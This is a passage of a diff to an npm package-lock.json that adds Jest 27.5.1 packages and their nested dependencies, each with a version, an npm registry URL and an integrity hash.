+        "has-flag": {
+          "version": "4.0.0",
+          "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
+          "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ=="
+        },
+        "supports-color": {
+          "version": "7.2.0",
+          "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
+          "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
+          "requires": {
+            "has-flag": "^4.0.0"
+          }
+        }
+      }
+    },
+    "jest-circus": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/jest-circus/-/jest-circus-27.5.1.tgz",
+      "integrity": "sha512-D95R7x5UtlMA5iBYsOHFFbMD/GVA4R/Kdq15f7xYWUfWHBto9NYRsOvnSauTgdF+ogCpJ4tyKOXhUifxS65gdw==",
+      "requires": {
+        "@jest/environment": "^27.5.1",
+        "@jest/test-result": "^27.5.1",
+        "@jest/types": "^27.5.1",
+        "@types/node": "*",
+        "chalk": "^4.0.0",
+        "co": "^4.6.0",
+        "dedent": "^0.7.0",
+        "expect": "^27.5.1",
+        "is-generator-fn": "^2.0.0",
+        "jest-each": "^27.5.1",
+        "jest-matcher-utils": "^27.5.1",
+        "jest-message-util": "^27.5.1",
+        "jest-runtime": "^27.5.1",
+        "jest-snapshot": "^27.5.1",
+        "jest-util": "^27.5.1",
+        "pretty-format": "^27.5.1",
+        "slash": "^3.0.0",
+        "stack-utils": "^2.0.3",
+        "throat": "^6.0.1"
+      },
+      "dependencies": {
+        "@jest/types": {
+          "version": "27.5.1",
+          "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz",
+          "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==",
+          "requires": {
+            "@types/istanbul-lib-coverage": "^2.0.0",
+            "@types/istanbul-reports": "^3.0.0",
+            "@types/node": "*",
+            "@types/yargs": "^16.0.0",
+            "chalk": "^4.0.0"
+          }
+        },
+        "@types/istanbul-reports": {
+          "version": "3.0.1",
+          "resolved": "https://registry.npmjs.org/@types/istanbul-reports/-/istanbul-reports-3.0.1.tgz",
+          "integrity": "sha512-c3mAZEuK0lvBp8tmuL74XRKn1+y2dcwOUpH7x4WrF6gk1GIgiluDRgMYQtw2OFcBvAJWlt6ASU3tSqxp0Uu0Aw==",
+          "requires": {
+            "@types/istanbul-lib-report": "*"
+          }
+        },
+        "@types/yargs": {
+          "version": "16.0.4",
+          "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.4.tgz",
+          "integrity": "sha512-T8Yc9wt/5LbJyCaLiHPReJa0kApcIgJ7Bn735GjItUfh08Z1pJvu8QZqb9s+mMvKV6WUQRV7K2R46YbjMXTTJw==",
+          "requires": {
+            "@types/yargs-parser": "*"
+          }
+        },
+        "ansi-regex": {
+          "version": "5.0.1",
+          "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz",
+          "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ=="
+        },
+        "ansi-styles": {
+          "version": "4.3.0",
+          "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
+          "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
+          "requires": {
+            "color-convert": "^2.0.1"
+          }
+        },
+        "chalk": {
+          "version": "4.1.2",
+          "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
+          "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
+          "requires": {
+            "ansi-styles": "^4.1.0",
+            "supports-color": "^7.1.0"
+          }
+        },
+        "color-convert": {
+          "version": "2.0.1",
+          "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
+          "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
+          "requires": {
+            "color-name": "~1.1.4"
+          }
+        },
+        "color-name": {
+          "version": "1.1.4",
+          "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
+          "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
+        },
+        "diff-sequences": {
+          "version": "27.5.1",
+          "resolved": "https://registry.npmjs.org/diff-sequences/-/diff-sequences-27.5.1.tgz",
+          "integrity": "sha512-k1gCAXAsNgLwEL+Y8Wvl+M6oEFj5bgazfZULpS5CneoPPXRaCCW7dm+q21Ky2VEE5X+VeRDBVg1Pcvvsr4TtNQ=="
+        },
+        "has-flag": {
+          "version": "4.0.0",
+          "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
+          "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ=="
+        },
+        "jest-diff": {
+          "version": "27.5.1",
+          "resolved": "https://registry.npmjs.org/jest-diff/-/jest-diff-27.5.1.tgz",
+          "integrity": "sha512-m0NvkX55LDt9T4mctTEgnZk3fmEg3NRYutvMPWM/0iPnkFj2wIeF45O1718cMSOFO1vINkqmxqD8vE37uTEbqw==",
+          "requires": {
+            "chalk": "^4.0.0",
+            "diff-sequences": "^27.5.1",
+            "jest-get-type": "^27.5.1",
+            "pretty-format": "^27.5.1"
+          }
+        },
+        "jest-get-type": {
+          "version": "27.5.1",
+          "resolved": "https://registry.npmjs.org/jest-get-type/-/jest-get-type-27.5.1.tgz",
+          "integrity": "sha512-2KY95ksYSaK7DMBWQn6dQz3kqAf3BB64y2udeG+hv4KfSOb9qwcYQstTJc1KCbsix+wLZWZYN8t7nwX3GOBLRw=="
+        },
+        "jest-matcher-utils": {
+          "version": "27.5.1",
+          "resolved": "https://registry.npmjs.org/jest-matcher-utils/-/jest-matcher-utils-27.5.1.tgz",
+          "integrity": "sha512-z2uTx/T6LBaCoNWNFWwChLBKYxTMcGBRjAt+2SbP929/Fflb9aa5LGma654Rz8z9HLxsrUaYzxE9T/EFIL/PAw==",
+          "requires": {
+            "chalk": "^4.0.0",
+            "jest-diff": "^27.5.1",
+            "jest-get-type": "^27.5.1",
+            "pretty-format": "^27.5.1"
+          }
+        },
+        "pretty-format": {
+          "version": "27.5.1",
+          "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-27.5.1.tgz",
+          "integrity": "sha512-Qb1gy5OrP5+zDf2Bvnzdl3jsTf1qXVMazbvCoKhtKqVs4/YK4ozX4gKQJJVyNe+cajNPn0KoC0MC3FUmaHWEmQ==",
+          "requires": {
+            "ansi-regex": "^5.0.1",
+            "ansi-styles": "^5.0.0",
+            "react-is": "^17.0.1"
+          },
+          "dependencies": {
+            "ansi-styles": {
+              "version": "5.2.0",
+              "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-5.2.0.tgz",
+              "integrity": "sha512-Cxwpt2SfTzTtXcfOlzGEee8O+c+MmUgGrNiBcXnuWxuFJHe6a5Hz7qwhwe5OgaSYI0IJvkLqWX1ASG+cJOkEiA=="
+            }
+          }
+        },
+        "react-is": {
+          "version": "17.0.2",
+          "resolved": "https://registry.npmjs.org/react-is/-/react-is-17.0.2.tgz",
+          "integrity": "sha512-w2GsyukL62IJnlaff/nRegPQR94C/XXamvMWmSHRJ4y7Ts/4ocGRmTHvOs8PSE6pB3dWOrD/nueuU5sduBsQ4w=="
+        },
+        "supports-color": {
+          "version": "7.2.0",
+          "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
+          "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
+          "requires": {
+            "has-flag": "^4.0.0"
+          }
+        }
+      }
+    },
+    "jest-cli": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/jest-cli/-/jest-cli-27.5.1.tgz",
+      "integrity": "sha512-Hc6HOOwYq4/74/c62dEE3r5elx8wjYqxY0r0G/nFrLDPMFRu6RA/u8qINOIkvhxG7mMQ5EJsOGfRpI8L6eFUVw==",
+      "requires": {
+        "@jest/core": "^27.5.1",
+        "@jest/test-result": "^27.5.1",
+        "@jest/types": "^27.5.1",
+        "chalk": "^4.0.0",
+        "exit": "^0.1.2",
+        "graceful-fs": "^4.2.9",
+        "import-local": "^3.0.2",
+        "jest-config": "^27.5.1",
+        "jest-util": "^27.5.1",
+        "jest-validate": "^27.5.1",
+        "prompts": "^2.0.1",
+        "yargs": "^16.2.0"
+      },
+      "dependencies": {
+        "@jest/types": {
+          "version": "27.5.1",
+          "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz",
+          "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==",
+          "requires": {
+            "@types/istanbul-lib-coverage": "^2.0.0",
+            "@types/istanbul-reports": "^3.0.0",
+            "@types/node": "*",
+            "@types/yargs": "^16.0.0",
+            "chalk": "^4.0.0"
+          }
+        },
+        "@types/istanbul-reports": {
+          "version": "3.0.1",
+          "resolved": "https://registry.npmjs.org/@types/istanbul-reports/-/istanbul-reports-3.0.1.tgz",
+          "integrity": "sha512-c3mAZEuK0lvBp8tmuL74XRKn1+y2dcwOUpH7x4WrF6gk1GIgiluDRgMYQtw2OFcBvAJWlt6ASU3tSqxp0Uu0Aw==",
+          "requires": {
+            "@types/istanbul-lib-report": "*"
+          }
+        },
+        "@types/yargs": {
+          "version": "16.0.4",
+          "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.4.tgz",
+          "integrity": "sha512-T8Yc9wt/5LbJyCaLiHPReJa0kApcIgJ7Bn735GjItUfh08Z1pJvu8QZqb9s+mMvKV6WUQRV7K2R46YbjMXTTJw==",
+          "requires": {
+            "@types/yargs-parser": "*"
+          }
+        },
+        "ansi-styles": {
+          "version": "4.3.0",
+          "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
+          "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
+          "requires": {
+            "color-convert": "^2.0.1"
+          }
+        },
+        "chalk": {
+          "version": "4.1.2",
+          "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
+          "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
+          "requires": {
+            "ansi-styles": "^4.1.0",
+            "supports-color": "^7.1.0"
+          }
+        },
+        "color-convert": {
+          "version": "2.0.1",
+          "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
+          "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
+          "requires": {
+            "color-name": "~1.1.4"
+          }
+        },
+        "color-name": {
+          "version": "1.1.4",
+          "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
+          "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
+        },
+        "has-flag": {
+          "version": "4.0.0",
+          "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
+          "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ=="
+        },
+        "supports-color": {
+          "version": "7.2.0",
+          "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
+          "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
+          "requires": {
+            "has-flag": "^4.0.0"
+          }
+        }
+      }
+    },
+    "jest-config": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/jest-config/-/jest-config-27.5.1.tgz",
+      "integrity": "sha512-5sAsjm6tGdsVbW9ahcChPAFCk4IlkQUknH5AvKjuLTSlcO/wCZKyFdn7Rg0EkC+OGgWODEy2hDpWB1PgzH0JNA==",
+      "requires": {
+        "@babel/core": "^7.8.0",
+        "@jest/test-sequencer": "^27.5.1",
+        "@jest/types": "^27.5.1",
+        "babel-jest": "^27.5.1",
+        "chalk": "^4.0.0",
+        "ci-info": "^3.2.0",
+        "deepmerge": "^4.2.2",
+        "glob": "^7.1.1",
+        "graceful-fs": "^4.2.9",
+        "jest-circus": "^27.5.1",
+        "jest-environment-jsdom": "^27.5.1",
+        "jest-environment-node": "^27.5.1",
+        "jest-get-type": "^27.5.1",
+        "jest-jasmine2": "^27.5.1",
+        "jest-regex-util": "^27.5.1",
+        "jest-resolve": "^27.5.1",
+        "jest-runner": "^27.5.1",
+        "jest-util": "^27.5.1",
+        "jest-validate": "^27.5.1",
+        "micromatch": "^4.0.4",
+        "parse-json": "^5.2.0",
+        "pretty-format": "^27.5.1",
+        "slash": "^3.0.0",
+        "strip-json-comments": "^3.1.1"
+      },
+      "dependencies": {
+        "@jest/types": {
+          "version": "27.5.1",
+          "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz",
+          "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==",
+          "requires": {
+            "@types/istanbul-lib-coverage": "^2.0.0",
+            "@types/istanbul-reports": "^3.0.0",
+            "@types/node": "*",
+            "@types/yargs": "^16.0.0",
+            "chalk": "^4.0.0"
+          }
+        },
+        "@types/istanbul-reports": {
+          "version": "3.0.1",
+          "resolved": "https://registry.npmjs.org/@types/istanbul-reports/-/istanbul-reports-3.0.1.tgz",
+          "integrity": "sha512-c3mAZEuK0lvBp8tmuL74XRKn1+y2dcwOUpH7x4WrF6gk1GIgiluDRgMYQtw2OFcBvAJWlt6ASU3tSqxp0Uu0Aw==",
+          "requires": {
+            "@types/istanbul-lib-report": "*"
+          }
+        },
+        "@types/yargs": {
+          "version": "16.0.4",
+          "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.4.tgz",
+          "integrity": "sha512-T8Yc9wt/5LbJyCaLiHPReJa0kApcIgJ7Bn735GjItUfh08Z1pJvu8QZqb9s+mMvKV6WUQRV7K2R46YbjMXTTJw==",
+          "requires": {
+            "@types/yargs-parser": "*"
+          }
+        },
+        "ansi-regex": {
+          "version": "5.0.1",
+          "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz",
+          "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ=="
+        },
+        "ansi-styles": {
+          "version": "4.3.0",
+          "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
+          "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
+          "requires": {
+            "color-convert": "^2.0.1"
+          }
+        },
+        "chalk": {
+          "version": "4.1.2",
+          "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
+          "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
+          "requires": {
+            "ansi-styles": "^4.1.0",
+            "supports-color": "^7.1.0"
+          }
+        },
+        "color-convert": {
+          "version": "2.0.1",
+          "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
+          "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
+          "requires": {
+            "color-name": "~1.1.4"
+          }
+        },
+        "color-name": {
+          "version": "1.1.4",
+          "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
+          "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
+        },
+        "has-flag": {
+          "version": "4.0.0",
+          "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
+          "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ=="
+        },
+        "jest-get-type": {
+          "version": "27.5.1",
+          "resolved": "https://registry.npmjs.org/jest-get-type/-/jest-get-type-27.5.1.tgz",
+          "integrity": "sha512-2KY95ksYSaK7DMBWQn6dQz3kqAf3BB64y2udeG+hv4KfSOb9qwcYQstTJc1KCbsix+wLZWZYN8t7nwX3GOBLRw=="
+        },
+        "pretty-format": {
+          "version": "27.5.1",
+          "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-27.5.1.tgz",
+          "integrity": "sha512-Qb1gy5OrP5+zDf2Bvnzdl3jsTf1qXVMazbvCoKhtKqVs4/YK4ozX4gKQJJVyNe+cajNPn0KoC0MC3FUmaHWEmQ==",
+          "requires": {
+            "ansi-regex": "^5.0.1",
+            "ansi-styles": "^5.0.0",
+            "react-is": "^17.0.1"
+          },
+          "dependencies": {
+            "ansi-styles": {
+              "version": "5.2.0",
+              "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-5.2.0.tgz",
+              "integrity": "sha512-Cxwpt2SfTzTtXcfOlzGEee8O+c+MmUgGrNiBcXnuWxuFJHe6a5Hz7qwhwe5OgaSYI0IJvkLqWX1ASG+cJOkEiA=="
+            }
+          }
+        },
+        "react-is": {
+          "version": "17.0.2",
+          "resolved": "https://registry.npmjs.org/react-is/-/react-is-17.0.2.tgz",
+          "integrity": "sha512-w2GsyukL62IJnlaff/nRegPQR94C/XXamvMWmSHRJ4y7Ts/4ocGRmTHvOs8PSE6pB3dWOrD/nueuU5sduBsQ4w=="
+        },
+        "supports-color": {
+          "version": "7.2.0",
+          "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
+          "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
+          "requires": {
+            "has-flag": "^4.0.0"
+          }
+        }
+      }
+    },
+    "jest-diff": {
+      "version": "24.9.0",
+      "resolved": "https://registry.npmjs.org/jest-diff/-/jest-diff-24.9.0.tgz",
+      "integrity": "sha512-qMfrTs8AdJE2iqrTp0hzh7kTd2PQWrsFyj9tORoKmu32xjPjeE4NyjVRDz8ybYwqS2ik8N4hsIpiVTyFeo2lBQ==",
+      "requires": {
+        "chalk": "^2.0.1",
+        "diff-sequences": "^24.9.0",
+        "jest-get-type": "^24.9.0",
+        "pretty-format": "^24.9.0"
+      }
+    },
+    "jest-docblock": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/jest-docblock/-/jest-docblock-27.5.1.tgz",
+      "integrity": "sha512-rl7hlABeTsRYxKiUfpHrQrG4e2obOiTQWfMEH3PxPjOtdsfLQO4ReWSZaQ7DETm4xu07rl4q/h4zcKXyU0/OzQ==",
+      "requires": {
+        "detect-newline": "^3.0.0"
+      }
+    },
+    "jest-each": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/jest-each/-/jest-each-27.5.1.tgz",
+      "integrity": "sha512-1Ff6p+FbhT/bXQnEouYy00bkNSY7OUpfIcmdl8vZ31A1UUaurOLPA8a8BbJOF2RDUElwJhmeaV7LnagI+5UwNQ==",
+      "requires": {
+        "@jest/types": "^27.5.1",
+        "chalk": "^4.0.0",
+        "jest-get-type": "^27.5.1",
+        "jest-util": "^27.5.1",
+        "pretty-format": "^27.5.1"
+      },
+      "dependencies": {
+        "@jest/types": {
+          "version": "27.5.1",
+          "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz",
+          "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==",
+          "requires": {
+            "@types/istanbul-lib-coverage": "^2.0.0",
+            "@types/istanbul-reports": "^3.0.0",
+            "@types/node": "*",
+            "@types/yargs": "^16.0.0",
+            "chalk": "^4.0.0"
+          }
+        },
+        "@types/istanbul-reports": {
+          "version": "3.0.1",
+          "resolved": "https://registry.npmjs.org/@types/istanbul-reports/-/istanbul-reports-3.0.1.tgz",
+          "integrity": "sha512-c3mAZEuK0lvBp8tmuL74XRKn1+y2dcwOUpH7x4WrF6gk1GIgiluDRgMYQtw2OFcBvAJWlt6ASU3tSqxp0Uu0Aw==",
+          "requires": {
+            "@types/istanbul-lib-report": "*"
+          }
+        },
+        "@types/yargs": {
+          "version": "16.0.4",
+          "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.4.tgz",
+          "integrity": "sha512-T8Yc9wt/5LbJyCaLiHPReJa0kApcIgJ7Bn735GjItUfh08Z1pJvu8QZqb9s+mMvKV6WUQRV7K2R46YbjMXTTJw==",
+          "requires": {
+            "@types/yargs-parser": "*"
+          }
+        },
+        "ansi-regex": {
+          "version": "5.0.1",
+          "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz",
+          "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ=="
+        },
+        "ansi-styles": {
+          "version": "4.3.0",
+          "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
+          "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
+          "requires": {
+            "color-convert": "^2.0.1"
+          }
+        },
+        "chalk": {
+          "version": "4.1.2",
+          "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
+          "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
+          "requires": {
+            "ansi-styles": "^4.1.0",
+            "supports-color": "^7.1.0"
+          }
+        },
+        "color-convert": {
+          "version": "2.0.1",
+          "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
+          "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
+          "requires": {
+            "color-name": "~1.1.4"
+          }
+        },
+        "color-name": {
+          "version": "1.1.4",
+          "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
+          "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
+        },
+        "has-flag": {
+          "version": "4.0.0",
+          "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
+          "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ=="
+        },
+        "jest-get-type": {
+          "version": "27.5.1",
+          "resolved": "https://registry.npmjs.org/jest-get-type/-/jest-get-type-27.5.1.tgz",
+          "integrity": "sha512-2KY95ksYSaK7DMBWQn6dQz3kqAf3BB64y2udeG+hv4KfSOb9qwcYQstTJc1KCbsix+wLZWZYN8t7nwX3GOBLRw=="
+        },
+        "pretty-format": {
+          "version": "27.5.1",
+          "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-27.5.1.tgz",
+          "integrity": "sha512-Qb1gy5OrP5+zDf2Bvnzdl3jsTf1qXVMazbvCoKhtKqVs4/YK4ozX4gKQJJVyNe+cajNPn0KoC0MC3FUmaHWEmQ==",
+          "requires": {
+            "ansi-regex": "^5.0.1",
+            "ansi-styles": "^5.0.0",
+            "react-is": "^17.0.1"
+          },
+          "dependencies": {
+            "ansi-styles": {
+              "version": "5.2.0",
+              "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-5.2.0.tgz",
+              "integrity": "sha512-Cxwpt2SfTzTtXcfOlzGEee8O+c+MmUgGrNiBcXnuWxuFJHe6a5Hz7qwhwe5OgaSYI0IJvkLqWX1ASG+cJOkEiA=="
+            }
+          }
+        },
+        "react-is": {
+          "version": "17.0.2",
+          "resolved": "https://registry.npmjs.org/react-is/-/react-is-17.0.2.tgz",
+          "integrity": "sha512-w2GsyukL62IJnlaff/nRegPQR94C/XXamvMWmSHRJ4y7Ts/4ocGRmTHvOs8PSE6pB3dWOrD/nueuU5sduBsQ4w=="
+        },
+        "supports-color": {
+          "version": "7.2.0",
+          "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
+          "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
+          "requires": {
+            "has-flag": "^4.0.0"
+          }
+        }
+      }
+    },
+    "jest-environment-jsdom": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/jest-environment-jsdom/-/jest-environment-jsdom-27.5.1.tgz",
+      "integrity": "sha512-TFBvkTC1Hnnnrka/fUb56atfDtJ9VMZ94JkjTbggl1PEpwrYtUBKMezB3inLmWqQsXYLcMwNoDQwoBTAvFfsfw==",
+      "requires": {
+        "@jest/environment": "^27.5.1",
+        "@jest/fake-timers": "^27.5.1",
+        "@jest/types": "^27.5.1",
+        "@types/node": "*",
+        "jest-mock": "^27.5.1",
+        "jest-util": "^27.5.1",
+        "jsdom": "^16.6.0"
+      },
+      "dependencies": {
+        "@jest/types": {
+          "version": "27.5.1",
+          "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz",
+          "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==",
+          "requires": {
+            "@types/istanbul-lib-coverage": "^2.0.0",
+            "@types/istanbul-reports": "^3.0.0",
+            "@types/node": "*",
+            "@types/yargs": "^16.0.0",
+            "chalk": "^4.0.0"
+          }
+        },
+        "@types/istanbul-reports": {
+          "version": "3.0.1",
+          "resolved": "https://registry.npmjs.org/@types/istanbul-reports/-/istanbul-reports-3.0.1.tgz",
+          "integrity": "sha512-c3mAZEuK0lvBp8tmuL74XRKn1+y2dcwOUpH7x4WrF6gk1GIgiluDRgMYQtw2OFcBvAJWlt6ASU3tSqxp0Uu0Aw==",
+          "requires": {
+            "@types/istanbul-lib-report": "*"
+          }
+        },
+        "@types/yargs": {
+          "version": "16.0.4",
+          "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.4.tgz",
+          "integrity": "sha512-T8Yc9wt/5LbJyCaLiHPReJa0kApcIgJ7Bn735GjItUfh08Z1pJvu8QZqb9s+mMvKV6WUQRV7K2R46YbjMXTTJw==",
+          "requires": {
+            "@types/yargs-parser": "*"
+          }
+        },
+        "ansi-styles": {
+          "version": "4.3.0",
+          "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
+          "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
+          "requires": {
+            "color-convert": "^2.0.1"
+          }
+        },
+        "chalk": {
+          "version": "4.1.2",
+          "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
+          "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
+          "requires": {
+            "ansi-styles": "^4.1.0",
+            "supports-color": "^7.1.0"
+          }
+        },
+        "color-convert": {
+          "version": "2.0.1",
